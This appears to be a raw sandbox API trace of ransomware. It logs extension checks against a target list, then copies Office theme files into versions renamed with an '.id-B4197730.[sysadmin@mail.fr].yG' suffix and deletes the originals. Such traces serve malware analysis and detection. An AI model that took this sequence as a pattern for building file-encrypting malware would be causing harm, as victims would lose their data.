	[0153.558] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0153.558] lstrlenW (lpString=".ppt") returned 4
	[0153.558] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0153.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.558] lstrlenW (lpString=".zip") returned 4
	[0153.559] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString=".rar") returned 4
	[0153.559] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString=".bz2") returned 4
	[0153.559] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString=".7z") returned 3
	[0153.559] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0153.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.559] lstrlenW (lpString=".dbf") returned 4
	[0153.559] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.559] lstrlenW (lpString=".1cd") returned 4
	[0153.559] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.559] lstrlenW (lpString=".jpg") returned 4
	[0153.559] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.559] lstrlenW (lpString=".doc") returned 4
	[0153.559] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0153.559] lstrlenW (lpString=".docx") returned 5
	[0153.559] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0153.559] lstrlenW (lpString=".pdf") returned 4
	[0153.559] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString=".xls") returned 4
	[0153.560] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString=".xlsx") returned 5
	[0153.560] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0153.560] lstrlenW (lpString=".ppt") returned 4
	[0153.560] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.560] lstrlenW (lpString=".zip") returned 4
	[0153.560] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString=".rar") returned 4
	[0153.560] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString=".bz2") returned 4
	[0153.560] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString=".7z") returned 3
	[0153.560] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0153.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.560] lstrlenW (lpString=".dbf") returned 4
	[0153.560] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.560] lstrlenW (lpString=".1cd") returned 4
	[0153.560] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0153.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.560] lstrlenW (lpString=".jpg") returned 4
	[0153.560] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0153.561] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0153.561] lstrlenW (lpString="Glossy.eftx") returned 11
	[0153.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.746] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=335038) returned 1
	[0153.746] CloseHandle (hObject=0x540) returned 1
	[0153.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220
	[0153.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0154.372] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.372] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0154.573] GetLastError () returned 0x0
	[0154.573] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x51cbe, lpOverlapped=0x0) returned 1
	[0154.621] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x51cc0, lpOverlapped=0x0) returned 1
	[0154.630] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.630] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xea, lpOverlapped=0x0) returned 1
	[0154.630] SetEndOfFile (hFile=0x548) returned 1
	[0154.630] CloseHandle (hObject=0x548) returned 1
	[0154.630] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.630] SetEndOfFile (hFile=0x554) returned 1
	[0154.641] CloseHandle (hObject=0x554) returned 1
	[0154.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1
	[0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.642] lstrlenW (lpString=".doc") returned 4
	[0154.642] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.642] lstrlenW (lpString=".docx") returned 5
	[0154.642] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.642] lstrlenW (lpString=".pdf") returned 4
	[0154.642] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.642] lstrlenW (lpString=".xls") returned 4
	[0154.642] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.642] lstrlenW (lpString=".xlsx") returned 5
	[0154.642] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.643] lstrlenW (lpString=".ppt") returned 4
	[0154.643] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.643] lstrlenW (lpString=".zip") returned 4
	[0154.643] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString=".rar") returned 4
	[0154.643] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString=".bz2") returned 4
	[0154.643] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString=".7z") returned 3
	[0154.643] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.643] lstrlenW (lpString=".dbf") returned 4
	[0154.643] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.643] lstrlenW (lpString=".1cd") returned 4
	[0154.643] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.643] lstrlenW (lpString=".jpg") returned 4
	[0154.643] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.643] lstrlenW (lpString=".doc") returned 4
	[0154.643] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.643] lstrlenW (lpString=".docx") returned 5
	[0154.643] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.643] lstrlenW (lpString=".pdf") returned 4
	[0154.644] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString=".xls") returned 4
	[0154.644] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString=".xlsx") returned 5
	[0154.644] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.644] lstrlenW (lpString=".ppt") returned 4
	[0154.644] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.644] lstrlenW (lpString=".zip") returned 4
	[0154.644] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString=".rar") returned 4
	[0154.644] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString=".bz2") returned 4
	[0154.644] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString=".7z") returned 3
	[0154.644] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.644] lstrlenW (lpString=".dbf") returned 4
	[0154.644] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.644] lstrlenW (lpString=".1cd") returned 4
	[0154.644] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0154.644] lstrlenW (lpString=".jpg") returned 4
	[0154.644] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.645] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.645] lstrlenW (lpString="Smokey Glass.eftx") returned 17
	[0154.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0154.645] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=186195) returned 1
	[0154.645] CloseHandle (hObject=0x554) returned 1
	[0154.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220
	[0154.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0154.646] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.646] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0154.647] GetLastError () returned 0x0
	[0154.647] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d753, lpOverlapped=0x0) returned 1
	[0155.016] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d760, lpOverlapped=0x0) returned 1
	[0155.020] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.020] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0155.020] SetEndOfFile (hFile=0x548) returned 1
	[0155.021] CloseHandle (hObject=0x548) returned 1
	[0155.021] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.021] SetEndOfFile (hFile=0x554) returned 1
	[0155.037] CloseHandle (hObject=0x554) returned 1
	[0155.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0155.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1
	[0155.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.040] lstrlenW (lpString=".doc") returned 4
	[0155.040] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0155.040] lstrlenW (lpString=".docx") returned 5
	[0155.040] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0155.041] lstrlenW (lpString=".pdf") returned 4
	[0155.041] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString=".xls") returned 4
	[0155.041] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString=".xlsx") returned 5
	[0155.041] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0155.041] lstrlenW (lpString=".ppt") returned 4
	[0155.041] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.041] lstrlenW (lpString=".zip") returned 4
	[0155.041] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString=".rar") returned 4
	[0155.041] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString=".bz2") returned 4
	[0155.041] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString=".7z") returned 3
	[0155.041] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0155.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.041] lstrlenW (lpString=".dbf") returned 4
	[0155.041] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.041] lstrlenW (lpString=".1cd") returned 4
	[0155.041] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.041] lstrlenW (lpString=".jpg") returned 4
	[0155.041] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0155.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.042] lstrlenW (lpString=".doc") returned 4
	[0155.042] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString=".docx") returned 5
	[0155.042] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0155.042] lstrlenW (lpString=".pdf") returned 4
	[0155.042] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString=".xls") returned 4
	[0155.042] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString=".xlsx") returned 5
	[0155.042] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0155.042] lstrlenW (lpString=".ppt") returned 4
	[0155.042] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.042] lstrlenW (lpString=".zip") returned 4
	[0155.042] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString=".rar") returned 4
	[0155.042] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString=".bz2") returned 4
	[0155.042] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString=".7z") returned 3
	[0155.042] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.042] lstrlenW (lpString=".dbf") returned 4
	[0155.042] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0155.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.042] lstrlenW (lpString=".1cd") returned 4
	[0155.042] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0155.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0155.043] lstrlenW (lpString=".jpg") returned 4
	[0155.043] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0155.043] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0155.043] lstrlenW (lpString="Top Shadow.eftx") returned 15
	[0155.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0155.417] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=56944) returned 1
	[0155.417] CloseHandle (hObject=0x550) returned 1
	[0155.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220
	[0156.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.107] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.107] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0156.108] GetLastError () returned 0x0
	[0156.108] ReadFile (in: hFile=0x350, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0xde70, lpOverlapped=0x0) returned 1
	[0156.130] WriteFile (in: hFile=0x518, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xde80, lpOverlapped=0x0) returned 1
	[0156.132] ReadFile (in: hFile=0x350, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.132] WriteFile (in: hFile=0x518, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0156.133] SetEndOfFile (hFile=0x518) returned 1
	[0156.133] CloseHandle (hObject=0x518) returned 1
	[0156.133] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.133] SetEndOfFile (hFile=0x350) returned 1
	[0156.137] CloseHandle (hObject=0x350) returned 1
	[0156.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1
	[0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.878] lstrlenW (lpString=".doc") returned 4
	[0156.878] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString=".docx") returned 5
	[0156.878] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0156.878] lstrlenW (lpString=".pdf") returned 4
	[0156.878] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString=".xls") returned 4
	[0156.878] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
